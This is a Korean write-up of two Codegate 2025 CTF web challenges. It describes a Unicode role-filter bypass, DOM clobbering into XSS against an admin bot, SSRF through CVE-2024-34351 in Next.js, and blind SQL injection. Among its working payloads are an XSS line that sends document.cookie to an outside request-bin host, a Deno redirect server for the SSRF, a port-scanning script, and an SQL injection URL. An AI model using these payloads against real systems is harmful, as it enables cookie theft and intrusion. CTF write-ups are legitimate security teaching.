Codegate 2025

Mar 29, 2025

Masquerade

로그인을 진행하고 role을 선택할 수 있습니다. 하지만 role이 ADMIN, INSPECTOR이면 필터링에 걸립니다.

const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');

const users = new Map();

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];

function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}

const addUser = (password) => {
    const uuid = uuidv4()

    users.set(uuid, { password, role: "MEMBER", hasPerm: false });

    return uuid;
};

const getUser = (uuid) => {
    return users.get(uuid);
};

const getUsers = () => {
    console.log(users);
    return 1;
};

const setRole = (uuid, input) => {
    const user = getUser(uuid);

    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;

    users.set(uuid, { ...user, role: input.toUpperCase() });

    const updated = getUser(uuid);

    const payload = { uuid, ...updated }

    delete payload.password;

    const token = generateToken(payload);

    return token;
};

const setPerm = (uuid, input) => {
    const user = getUser(uuid);

    users.set(uuid, { ...user, hasPerm: input });

    return true;
}

module.exports = { addUser, getUser, setRole, setPerm, getUsers };

admin role을 얻으면 해당 계정에 post를 작성할 수 있는 권한을 주고, INSPECTOR role을 얻으면 admin에게 report를 할 수 있는 권한을 얻을 수 있습니다.

문제에서 필터링을 할 떄 toUpperCase 함수를 사용하는데 ı 문자를 toUpperCase에 넣으면 I 로 바뀌는 것을 사용해서 ADMIN, INSPECTOR 권한을 얻을 수 있습니다.

const puppeteer = require('puppeteer');
const { generateToken } = require('./jwt')

const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));

const viewUrl = async (post_id) => {
    const token = generateToken({ uuid: "codegate2025{test_flag}", role: "ADMIN", hasPerm: true })

    const cookies = [{ "name": "jwt", "value": token, "domain": "localhost" }];

    const browser = await puppeteer.launch({
        executablePath: '/usr/bin/chromium',
        args: ["--no-sandbox"]
    });

    let result = true;

    try {
        await browser.setCookie(...cookies);

        const page = await browser.newPage();

        await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });

        await delay(1000);

        const button = await page.$('#delete');
        await button.click();

        await delay(1000);
    } catch (error) {
        console.error("An Error occurred:", error);
        result = false;
    } finally {
        await browser.close();
    }

    return result;
};

module.exports = { viewUrl };

report 코드는 위와 같습니다. 전형적인 xss 문제입니다.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Post</title>
    <link rel="stylesheet" href="/css/style.css">
</head>

<body>
    <div class="container">
        <h1 id="post-title">
            <%= post.title %>
        </h1>
        <div class="user-info">
            <button id="report" class="button danger">Report</button>
            <button id="delete" class="button danger">Delete</button>
        </div>

        <hr>
        <div class="post-content">
            <%- post.content %>
        </div>
        <a href="/post" class="button">Go to Posts</a>
    </div>
    <script nonce="<%= nonce %>">
        <% if (isOwner || isAdmin) { %>
            window.conf = window.conf || {
                deleteUrl: "/post/delete/<%= post.post_id %>"
            };
        <% } else { %>
            window.conf = window.conf || {
                deleteUrl: "/error/role"
            };
        <% } %>

        <% if (isInspector) { %>
            window.conf.reportUrl = "/report/<%= post.post_id %>";
        <% } else { %>
            window.conf.reportUrl = "/error/role";
        <% } %>

        const reportButton = document.querySelector("#report");

        reportButton.addEventListener("click", () => {
            location.href = window.conf.reportUrl;
        });

        const deleteButton = document.querySelector("#delete");

        deleteButton.addEventListener("click", () => {
            location.href = window.conf.deleteUrl;
        });
    </script>
</body>

</html>

xss 포인트를 찾아보면 post.content를 통해서 xss가 가능한데 csp가 걸려있어 script 태그를 사용할 수 없습니다. 따라서 문제에서 xss 포인트를 찾아본 결과 /admin/test에는 csp가 안 걸려 있습니다.

<script src="../js/purify.min.js"></script>
<script>
	const post_title = document.querySelector('.post_title'),
	  post_content = document.querySelector('.post_content'),
	  error_div = document.querySelector('.error_div')
	const urlSearch = new URLSearchParams(location.search),
	  title = urlSearch.get('title')
	const content = urlSearch.get('content')
	if (!title && !content) {
	  post_content.innerHTML = 'Usage: ?title=a&content=b'
	} else {
	  try {
	    post_title.innerHTML = DOMPurify.sanitize(title)
	    post_content.innerHTML = DOMPurify.sanitize(content)
	  } catch {
	    post_title.innerHTML = title
	    post_content.innerHTML = content
	  }
	}
</script>

다른 url에서 location.href = /admin/test를 실행하면 src="../js/purify.min.js" 를 통해서 DOMPurify가 load되지 않아 xss가 발생합니다.

따라서 post.content에서 dom clobbering을 통해 window.conf.deleteUrl 값을 control 하면 admin bot에 xss를 발생 시킬 수 있습니다.

문제 코드에 a tag에 대한 필터링이 조금 걸려있어 아래의 payload를 통해서 flag를 받아왔습니다.

<a/**/id="conf" name="deleteUrl" href="/admin/test/?title=boom&content=<img src=x onerror=javascript:location.href='https://mvpuaip.request.dreamhack.games/?flag='%2Bdocument.cookie>"></a>
<a/**/id="conf"></a>

hide and seek

internal server의 port를 몰라 brute force를 통해 port를 확인하는 코드를 작성했습니다.

ssrf_url = f"{internal_ip}:{port}"
print(f"Trying SSRF to {ssrf_url}...")

options = Options()
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")

try:
    driver = webdriver.Chrome(options=options)
    driver.get(target_url)
    time.sleep(0.1)

    # 버튼 클릭 (Find me)
    find_button = driver.find_element(By.XPATH, '//button[contains(text(), "Find me")]')
    find_button.click()
    time.sleep(0.1)

    # URL 입력
    input_field = driver.find_element(By.NAME, "url")
    input_field.clear()
    input_field.send_keys(ssrf_url)

    # Submit 클릭
    submit_button = driver.find_element(By.XPATH, '//button[contains(text(), "Submit")]')
    submit_button.click()
    time.sleep(0.1)

    # alert 수신 시도
    try:
        alert = driver.switch_to.alert
        alert_text = alert.text
        alert.accept()
        print(f"Port {port} - ALERT: {alert_text}")
        if "Sended" in alert_text:
            print(f"SUCCESS SSRF on port {port}")
    except:
        # alert 없을 때 페이지 일부 출력
        print(f"Port {port} - No alert")
        print(f"Page source (first 300 chars):\n{driver.page_source[:300]}")

except Exception as e:
    print(f"Port {port} - Selenium error: {e}")
finally:
    driver.quit()

그 결과 808 port에 internal server가 존재하는 것을 확인했습니다.

문제는 next 14.1.0을 사용하는데 해당 버전에는 CVE-2024-34351가 존재합니다.

ssrf 취약점인데 아래와 같은 ts 코드를 서버에서 실행 시킨 이후에 redirect가 발생하는 request의 origin과 host를 해당 서버의 주소로 설정하면 됩니다.

https://github.com/God4n/nextjs-CVE-2024-34351-_exploit/blob/main/attacker-server.ts의 코드를 참조했습니다.

// deno run --allow-net --allow-read attack.ts
Deno.serve(async (request: Request) => {
    const ssrf = request.headers.get('ssrf') || "http://192.168.200.120:808/";

    console.log("Request received: " + JSON.stringify({
        url: request.url,
        method: request.method,
        ssrf: ssrf,
    }));

    console.log(`Redirecting to: ${ssrf}`);

    if (request.method === 'HEAD') {
        return new Response(null, {
            headers: {
                'Content-Type': 'text/x-component',
            },
        });
    }

    if (request.method === 'GET') {
        return new Response(null, {
            status: 302,
            headers: {
                Location: ssrf,
                'Content-Type': 'text/x-component',
            },
        });
    }

    return new Response("Method Not Allowed", { status: 405 });
});

POST / HTTP/1.1
Host: 13.124.66.200:56712
Content-Length: 4
User-Agent: Mozilla/5.0 ...
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Accept-Language: ko-KR,ko;q=0.9
Accept: text/x-component
Content-Type: text/plain;charset=UTF-8
Origin: http://13.124.66.200:56712
Referer: http://15.165.37.31:3000/
Connection: keep-alive

[]

그러면 내부망에 접속할 수 있고 url을 통해서 로그인을 할 수 있습니다. 로그인을 여러 방법으로 시도해보던 중 sql injection이 가능하다는 것을 알게 되어서 admin 계정으로 로그인하였습니다.

admin 계정으로 로그인을 하면 아래의 message가 나와 blind sql injection을 진행하면 flag를 알 수 있습니다.

{"message":"Welcome! admin, Flag is your password."}
http://192.168.200.120:808/login?username='/**/OORR/**/passwoorrd%20like%20'codegate2025%7B8...%25'/**/OORR/**/passwoorrd%20like%20'gu%25'%23--&password=guest&key=392cc52f7a5418299a5eb22065bd1e5967c25341

or을 제거하는 로직이 들어있어 oorr를 사용해서 우회했습니다.